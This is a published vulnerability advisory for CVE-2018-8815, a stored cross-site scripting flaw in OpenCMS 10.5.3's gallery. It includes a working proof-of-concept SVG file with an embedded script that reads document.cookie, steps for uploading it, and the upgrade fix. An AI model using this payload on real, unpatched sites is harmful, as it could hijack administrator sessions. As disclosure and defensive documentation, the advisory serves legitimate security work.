OpenCMS 10.5.3 Cross Site Scripting

`# Exploit Title: OpenCMS 10.5.3 Stored Cross Site Scripting Vulnerability  
# Google Dork: N/A  
# Date: 02-04-2018  
#######################################  
# Exploit Author: Sureshbabu Narvaneni  
# Author Blog : http://nullnews.in  
# Vendor Homepage: http://www.opencms.org/en/  
# Software Link: http://www.opencms.org/en/modules/downloads/begindownload.html?id=a7747cd0-b27b-11e7-8299-7fde8b0295e1  
# Affected Version: 10.5.3  
# Category: WebApps  
# Tested on: Ubuntu 14.04 x86_64/Kali Linux 4.12 i686  
# CVE : CVE-2018-8815  
  
1. Vendor Description:  
  
OpenCms from Alkacon Software is a professional, easy to use website  
content management system. OpenCms helps content managers worldwide to  
create and maintain beautiful websites fast and efficiently.  
  
2. Technical Description:  
  
Cross-site scripting (XSS) vulnerability in the gallery function in Alkacon  
OpenCMS 10.5.3 allows remote attackers to inject arbitrary web script or  
HTML via a malicious SVG image.  
  
3. Proof Of Concept:  
  
a) Login as user who is having Gallery Editor role.  
b) Navigate to gallery and upload below svg file.  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "  
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900"  
stroke="#004400"/>  
<script type="text/javascript">  
alert(document.cookie);  
</script>  
</svg>  
c) Once other user who is having Root Administrator permissions visited the  
image link or viewed the uploaded svg image the script get executed.  
  
4. Solution:  
  
Upgrade to latest release.  
http://www.opencms.org/en/home/news.html  
  
5. Reference:  
https://github.com/alkacon/opencms-core/issues/587  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-8815  
  
`